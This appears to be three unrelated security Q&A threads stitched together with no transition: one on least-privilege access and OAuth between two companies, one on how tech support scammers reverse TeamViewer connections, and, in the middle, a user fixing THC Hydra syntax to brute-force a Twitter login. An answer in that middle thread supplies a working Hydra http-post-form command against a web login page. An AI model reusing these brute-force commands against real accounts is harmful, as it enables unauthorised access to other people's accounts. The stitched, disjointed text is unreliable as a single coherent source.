This makes me wonder about Acme's internal security processes. I'm no expert in this area, but only granting minimum access is really basic, right? If they're not doing it when connecting with an external company like Bravo, is that a big red flag in terms of what else they're doing in terms of security best practices internally? Or given that everyone has contracts with everyone else, not really that big a deal?

Of course, a lot of things like that will come down to trust. You either have to completely trust Bravo to not do any harm (intentional or accidental), or you could assume everything is compromised. Depending on how access was granted to Bravo, you may want to take steps to secure your account, such as verifying personal details and changing your password.

This makes me wonder about Acme's internal security processes. I'm no
expert in this area, but only granting minimum access is really basic,
right?

The principle of least privilege is well known, but unfortunately not all software is written with security in mind. Sometimes, the deadline to push out a new feature causes security to be ignored in the meantime. Or perhaps Bravo isn't able or willing to support a better method at this time.

If they're not doing it when connecting with an external
company like Bravo, is that a big red flag in terms of what else
they're doing in terms of security best practices internally? Or given
that everyone has contracts with everyone else, not really that big a
deal?

It's hard to make assumptions like that without having concrete details about their internal practices. As far as whether it's a big deal, it probably comes down to trust and risk tolerance. In this case, it sounds like there wasn't much sensitive data in the account. However, in the past, some popular budget management apps required you to enter your credentials for your bank account in order to pull your transactions (perhaps still the case, depending on the app and bank). I'd say this is much more risky access, since your entire bank account is in the hands of a third party. Yet this was (is?) "acceptable" practice (acceptable as in, supported by large banking institutions, although it has raised questions).
The typical solution to this problem would be to use something like OAuth. Using OAuth, Acme would let you choose to delegate limited access to your account in the form of an authorization token that is shared with Bravo. Ideally, the token would only provide the minimum set of privileges necessarily to carry out the required actions.


Password Cracking Twitter With THC Hydra I am looking to password crack my twitter account using THC Hydra but am running into some sort of syntax error. Here is what I have:

hydra -l email@domain.com -P passphrase.txt -s 80 -f https://twitter.com https-post-form "/session:%5Busername_or_email%5D=email@domain.com&session%5Bpassword%5D=^PASS^:did not match"

The file "passphrase.txt" contains only 1 password which is the correct one. However, I am getting an argument error:

[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: (null) Segmentation Fault

How else do I need to pass the variables as an argument into the command? Is the http-post-form variable setting correct for twitter? I am not exactly sure if it is the right string for the USER and PASS variables.

Thank you.

I'm not sure how you're legally brute forcing Twitter. But you could try to drop the http from the URI. That fixed the segfault errors for me. It seems it can be triggered by unexpected syntax.

It does also look like you aren't supplying the necessary ^USER^ parameter as specified in the error message you pasted. It must be there even if you aren't trying to brute force it. You will then specify with -l or -L the scope of usernames to try.

Also a lot of the answers online for proper syntax of Hydra are based on different versions but valid syntax is changing between versions. Check the man  ( man hydra )to get what works for sure. In the man page it shows there's a -U option for different services which describes proper usage of that service e.g. hydra -U http-post-form shows how to supply http-post method brute parameters.

I'm on version 8.2 which comes with the current version of Kali Rolling (Jan 2017) and this command works:

hydra -P /var/www/html/cewl10.x.x.x -l admin 10.x.x.x http-post-form "/otrs/xxx.pl:User=^USER^&Password=^PASS^:username" -V


Why do scammers use victims' computers to remote-control their own computers? I've seen videos showing how tech support scammers operate.  In nearly all of these videos, the scammer instructs their intended victim to install and run remote-control software, which allows the scammer to control the victim's computer.  No surprises here.  However, in at least some of these videos, the first thing the scammer does when he has control of the victim's computer is to install and run a different remote-control application and use it to connect to his own computer.

For example, in the YouTube videos Destroying Scammers Computer With Virus and Destroying All Computers On Scammers Network, the scammer instructs his victim to install and run Supremo, and then once he is controlling the victim's computer through Supremo, he installs and runs TeamViewer and seemingly uses it to connect to his own computer.  (In these two videos, the intended victim is actually a scam-baiter, who exploits the reverse connection by installing and running malware on the scammer's computer.)

I don't understand why the scammers make the reverse connection in the first place.  What advantage does this give them?

TeamViewer has noticed that scammers often come from India (or other places where scams often originate), and so when you get an incoming connection from India TeamViewer will give you a warning saying that this could be a scam.  If the scammer can get the victim to connect to the scammer's computer first and then reverse the connection (by clicking a button that says "switch sides with partner"), TeamViewer's warning is skipped and the victim still doesn't know it's a scammer.  The scammers want to use TeamViewer because it has the ability to blacken the victims screen so the victim cannot see what the scammer is doing.

A Youtube reference